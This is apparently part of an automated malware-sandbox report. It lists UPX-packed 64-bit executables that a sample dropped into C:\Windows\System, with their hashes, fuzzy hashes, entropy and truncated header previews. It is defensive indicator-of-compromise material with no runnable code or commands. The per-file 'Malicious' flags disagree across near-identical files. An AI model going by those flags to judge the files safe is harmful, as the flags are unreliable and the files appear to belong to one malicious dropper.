Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\MLxwqET.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1328511
Entropy (8bit):	7.215316188508562
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7IsLDB:Lz071uv4BPMkibTIA5JnJ1rLDB
MD5:	5D3CCC2D813AE9194EE59F65547D5CB6
SHA1:	2669FE675053486E8A089C32B731A65DA8272E86
SHA-256:	20EC3AF940A7D81F9E0AA65E828F2B0F755027564539AB424DC7D11DA4D3BC57
SHA-512:	4CD27DD41FAF574B7F3FD08894EE0E204B8B3E5DF897D389FC16A40BE4E5A2A26814718538BBFA2B9AAD804FCDED01BAA476807E80BBF161881A06A1E114A030
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\MgoHIfZ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1291320
Entropy (8bit):	7.242277660598814
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ik:Lz071uv4BPMkibTIA5JnJ1d
MD5:	E63A7CA47DE83E3C5B4096CA37327C4C
SHA1:	2AB76E8F4FBB7AE37624D96A80FD7797EB45FA1A
SHA-256:	B233247BD7756DADFB09E86D9CCD3B3A15BE2D53CAF66DCAAAFB8E93E1817D4C
SHA-512:	C2BEC01584F2B9F72D92715EF6D37999D04E5C74EB61E730DB00840FD9957C6A3FE9F35690084927F258174142C805850B2376DFAA2F29C3BA178F719A14FC47
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\MwFvbxc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1266020
Entropy (8bit):	7.261189512021475
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7u:Lz071uv4BPMkibTIA5JnJ10
MD5:	965716B9337F422A2F6152CBB96308D7
SHA1:	2459133FA75755BB6349F08F182B4F4D25DE27B6
SHA-256:	A568D781F954B03D83A37CABD6E1F0EE78446FE45D9266EFAE70D2FFFB154824
SHA-512:	16C82263F7775E5404DEB3C1AEB87260288B676BFEB2AC7FD33133904FB3E74C7C936E5671519DE18E253678C054B340F0C866FADD78E3FCAAA08158F789847A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\MydOwjq.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1281453
Entropy (8bit):	7.2496013286085494
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7og:Lz071uv4BPMkibTIA5JnJ1Sg
MD5:	C3D74D6D0D1E561E9F86E2DAF3805878
SHA1:	3D33A7AEFF0963D14CD4F5B78B107F0C4E9E96B0
SHA-256:	6C20772555D6A728F978D48CFF6199D010EE61BA529ADAB884D2FAF499AFC463
SHA-512:	22B0A3EEA4C942CEF0D5607557666B3BD001B22FB8E42BC1150FE7AFF3FE3E8EE92BF60ED8865C5773CAC6411FBE251EA813EF4F3A81A45BB2026562049ABD5E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NDapyRM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335595
Entropy (8bit):	7.21028312355799
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7aaq3+:Lz071uv4BPMkibTIA5JnJ1d
MD5:	5C64C31C7C29658777CC0BEF16307D7F
SHA1:	1256138A24C35591262427EBD2A4EB694CDDBF33
SHA-256:	9A740120098A613F72CCABD5314DFE25259DD261A0C70C033E8C6ED47E1D7266
SHA-512:	690D931C961A461B8C311A4DD210CCEF564BBE2511C666C785007DF2FB06905E40CE6E9917F63246FD7D188A3252E2457EBE92280B35F843F4322BAA5BB6E10D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NLJeLdM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1322186
Entropy (8bit):	7.219823780852994
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG75:Lz071uv4BPMkibTIA5JnJ1X
MD5:	920076BA1432AE5D0CC82BDAF044AAB0
SHA1:	E4FFE78C1FE64D0BFEF26508C8AF9CAE48ED1D7E
SHA-256:	EC150DF3F155B3AD8549B0B9DFC6F571AFA72A98C54BFB3B0245D61BCBAF9DBD
SHA-512:	F2B959DF04048497E5924EECF8CC1DB696E6B42AB72C67D28128E2555D6D1E47AA305A7319B90B5354E9E9DAE52EDEB9BFE732491430053865680B13F6E9D6F3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NVxCwjX.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1308524
Entropy (8bit):	7.229682970274333
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7G4ya:Lz071uv4BPMkibTIA5JnJ1s4R
MD5:	31DC5CED8326EB50B097A96A75968E85
SHA1:	5969ECD2C646CC88ED3632C6916E876A3969E181
SHA-256:	75F4D6349175D8ACB5EEEDB63FA8A6E7D8C7D7B314273BB51B924D6E0B253B5C
SHA-512:	A49FC9841863EA3D613867893C1214592EE0BFDCE3CE20526D831219885ADB52BDF742EECBC25C31D7DC8D93F8610B4BB51C304DE6D1E625B78ECD61B29315B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NqPZXyD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340402
Entropy (8bit):	7.206909765620136
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7f588Vv:Lz071uv4BPMkibTIA5JnJ13v
MD5:	F7299DB5FD093A0237EFE6ABEFF3FDF9
SHA1:	DADD13CE972D4171C5C28624CF5DCB81CFB85B30
SHA-256:	1CDE92E10DF94295125EA665A67A99533A3850B4B03931B563D07D964CDB123F
SHA-512:	9599E7EA8C6E2F5BF02D65BA0B2EE11BDC51C58FE011EB5F41D3A387C36F7FE0082B0D78D8F7B75CDE5594D33A7C212D3E16001F299B93630BED0F230FB01EBE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NrRaZIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1321933
Entropy (8bit):	7.220012496801586
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7YgvI:Lz071uv4BPMkibTIA5JnJ10
MD5:	537C3F608DC42D7C8908F1F7397B608B
SHA1:	9B9F5597A9187B054C8E28C3AA9B1BC1AC0EADF8
SHA-256:	70FD598FD5D0DBD7E1D751C1635D876F558E1DBDA2487CDBB1CA813FD48117B9
SHA-512:	3E372F4231A604497AA6154C10F3B3265BA682E1E1310F2D7AD4D017A33E6B7C3A6758FFFFA66FF4A4ADF969EAD0508F533B20C5330DA5D96DB0B96E4BF5B172
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NuxBytj.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1330788
Entropy (8bit):	7.2136884772582714
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7rS1v:Lz071uv4BPMkibTIA5JnJ1O
MD5:	19E4F1AE7887C7A3012AFE82C3E18927
SHA1:	DA6810B06C0B5E61C5AA6468264759BE9CECBE72
SHA-256:	D7F1532102269B60E433D393AFBD8071CB09B00A387D821214D4B10B88DBC4FF
SHA-512:	CC925F2628404823C9B807F057887C9FB5864A6755BF1AE6D3A052001BA91EB2502D4B3FC1FFC8475D2A588E51E5A7DD868CD1FCCCB6ABD4B68AA107C5B711BA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NyhRMmW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1315355
Entropy (8bit):	7.224737489240746
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7qGZS:Lz071uv4BPMkibTIA5JnJ1U
MD5:	CA741A78BCE63C27ABD59264A6E79000
SHA1:	1E01C482CE1870AAC81683C6FF53DD722D31B31C
SHA-256:	AF9EA5FB27F7EB3A48BEFACD2BBFA3E14CDE4A877F5D306816E5F1A2D5EEAE22
SHA-512:	44589C317E45DD4E2C31B92F53A8D4BDB929F6B3E7797E54FEFBE30679ED29757974EA7E17AA283BCAB1F307D562F94C7A836AC5F3A923E256BBDDE9C18ABE9A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\NzANgdB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1337113
Entropy (8bit):	7.209208268231278
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7aR:Lz071uv4BPMkibTIA5JnJ1W
MD5:	E793626A15CACD3E9445A8442E82C8CB
SHA1:	7BF2C38F08D69B8CDFD553D5CB614E459FD9D570
SHA-256:	034E19072E01400241B5ED72B151B69C30370E53BAEB9F69EDFF87714D033C7E
SHA-512:	56B5C4FF5D0931A1D1A5429CB745329178440D29F6B60DBB4AC0498D5C1C288A043EA5DA79785D4FD5D3AC6990A913018831D9193A80F0146AEB0FB533716C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ORmCcsC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344956
Entropy (8bit):	7.203681621609545
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7bl:Lz071uv4BPMkibTIA5JnJ1b
MD5:	70AC0D7971CF24F15A0761CAFE23C440
SHA1:	F3A4D22EEACD59A30A151A3582204BFE24DD6817
SHA-256:	8CB769C950BD9C929EEA7E36B3ABFB12BCA297AA781BDF36587893BD0C789CAF
SHA-512:	E5222509F5245D5428643A4FC26EC59803D0A501B589F0970698334D860C34068E7B94CEA2089CAD30FEB59C3C237E980F86B056DF758277FFD0D7F3E0A32D5E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\OVdNTki.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1324969
Entropy (8bit):	7.217854258578014
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG77s59:Lz071uv4BPMkibTIA5JnJ1Js3
MD5:	BCCCDAEAE53FFEAB30A7306122B7FA6D
SHA1:	0686AAFA4E4ABC50615E24470E03F3B3023275EC
SHA-256:	EA6F17131A9702F156D157F0F8938D9AD5126D476A503CF337B3412D2130BF84
SHA-512:	72314A16EEC7282E086E04107B30F8EEBDC460D749ABB702C92740A989705AC4F54A3258891066440C8FD8CB812F55622ED99EB0A2630BCD44211BDB72147D62
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\OgBLDNx.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1341414
Entropy (8bit):	7.20618324093491
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7sF:Lz071uv4BPMkibTIA5JnJ1CF
MD5:	885C96E602207150841277E6CF201806
SHA1:	0595612E7872DDF4453AAC570A6B14E2A51F5E6B
SHA-256:	C51C259F3E0647502D07937FC21FC434B4549644A0E102502803074487D4EDDE
SHA-512:	4EEDC89C828D9F5C8A93B0C99051F38EB860D992A06944E89DB27B15F4C6E3EB660C34286A0E89B1ABE1A8372B71FE7A127C2312658556DB537A2D9544CEE122
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\OpMgkKg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1275381
Entropy (8bit):	7.254138270515338
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG75:Lz071uv4BPMkibTIA5JnJ1n
MD5:	801A32AD323015EDF93BD9A9921595F9
SHA1:	51F157F696A229EF5919D8372E48957A708C73C2
SHA-256:	53509852BC6DBAB0AA36619D33A9E8017897E04B3387DAA1BF71638312977043
SHA-512:	81BCC7AC0EC13B86FE4AA632CE0C185F6120FD0E2F90B42637089B7DF6090615B03D926F35C9479CC8D1521DCCD814FD58BC6AE138F7DBB2AA2B47645F015594
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\OyxgWny.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1352040
Entropy (8bit):	7.198750493994532
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7rkj5/:Lz071uv4BPMkibTIA5JnJ1i/
MD5:	5AB019854D5B21AEBEB6C60C22C4B68B
SHA1:	7C1D29F9F6182AA88BB1A908AB479273C1F7223A
SHA-256:	AA26D3816CC30DE8AF4E7D5B8C5B149FBADC205D620BACEE59518AC5165F21C1
SHA-512:	7EC33DEDEF73E54C212ADBB7770A41E271C4D429E9F67F8511CBDC7EA723C09A9866880F6618CF39703FD4025D79EC4078924AD8B0B665C5C68AD4B809A62F51
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PABSWXd.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1356088
Entropy (8bit):	7.195928839709937
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7Ro2w:Lz071uv4BPMkibTIA5JnJ1pw
MD5:	7DC116EBB80EAEAB349776BA1E267195
SHA1:	4A9BC0678A508D770465538B98EA781D6FFB3663
SHA-256:	2D304A6C67F52D67B2CDE778091B40DCFB0FC72FA5F9E71A32658F8C6779CBFC
SHA-512:	25336C2BA48120847D7F6E44871A93DF7EFC508B3DC5CCD68056EAF3BBF7DE7095501310CFFC71D9BC83604E60BC3D14269789BFD6A7926F9981918DFD8E6AEC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PLFTiIe.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339137
Entropy (8bit):	7.20777279739109
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7Ii7Q:Lz071uv4BPMkibTIA5JnJ1Q
MD5:	C20E0BF1699B796F70D6C4409C5ECEA4
SHA1:	60FE4E9197BC6DFACE1DA6810257003708DC00F6
SHA-256:	9029245AE4605BE1DC846FBC4F80225B253131B688188CB3A5309980F386B5C1
SHA-512:	F7561389DE967CB41A43C83C89E7BA749F65699C79CAD53CFED9F13760408286C45B5A51FF0966941EF334F856F2E911135EA7B4F476CF57B3EE7092EC82795E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PPOtBBY.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339390
Entropy (8bit):	7.207609515841976
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7f:Lz071uv4BPMkibTIA5JnJ11
MD5:	D79599731F475A381A23CC890540C82F
SHA1:	5D3A70A3134C3054CC861880B1B61A59F89C8701
SHA-256:	D38BD60B7C6112710214DF825DBEF8094B193141D0A5D32150BFC1C03562900A
SHA-512:	C610D4F0BF76EC97C408F30C27B5451FAA01782973D036D14D0D05609237EE778B27DF8CAA34860774E13F9E37CDB224B536B8A7CE31BFF18E22D0FF6FC62D34
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PRQFErV.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1315102
Entropy (8bit):	7.224917698453541
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7aC:Lz071uv4BPMkibTIA5JnJ1f
MD5:	BF1FFADF4A28A2A3816A3021D2949FD9
SHA1:	CD7E2823DA88F23BDF2C03040595FAE2D46F2607
SHA-256:	40DB0952BF8DFB480EE68466AED9AC5B12A07AC9FA738AA118ABBC24EAB75E1E
SHA-512:	9EF305D6EC09C3A3B947F93CC2528EA7C26F443539523F6FCFAE608E50649B7F2237D9A48B85C1140B24F26F01C07E02034E2394037A6E5AE7D286BBA53C8044
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PUqZmPS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1325475
Entropy (8bit):	7.217476982352189
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG71Zts:Lz071uv4BPMkibTIA5JnJ1c
MD5:	EFD5F320F023E69073EE802C3E886689
SHA1:	12A428DAB7ADD58DBC3B372D8F6FA9AD27EF23AE
SHA-256:	B6119A7CA729BD739B5453ED08A0C110154F80DC1EDB3FC81A933B589C2622F6
SHA-512:	11F4DA860885C91142883D6B85E43D5FDB184FF219C9369EF959D3CAFE1410ADACD55EB9791BF6696E723CC228156A4971FD0087A9117E146C8A29C856AA01DB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\PZXDYlu.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1357100
Entropy (8bit):	7.195236242618404
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7rWA:Lz071uv4BPMkibTIA5JnJ1r
MD5:	749F5B91A22AAFA565418EEEB3EC96D8
SHA1:	F09BB89118D3CA8F02B219D80BC5E435622E3A82
SHA-256:	48078B80499AB8003D789ADBCCAAA7D0E891244164D50586FDEE10D5DD84E0AF
SHA-512:	36583119F18224454236704D5CC15690AD092D972E6ED747669432AF6A27845A2F6C38FA2379AF09297BB25C879CC4DD73F0C67747D6869EDC114A1AB0CC0311
Malicious:	false
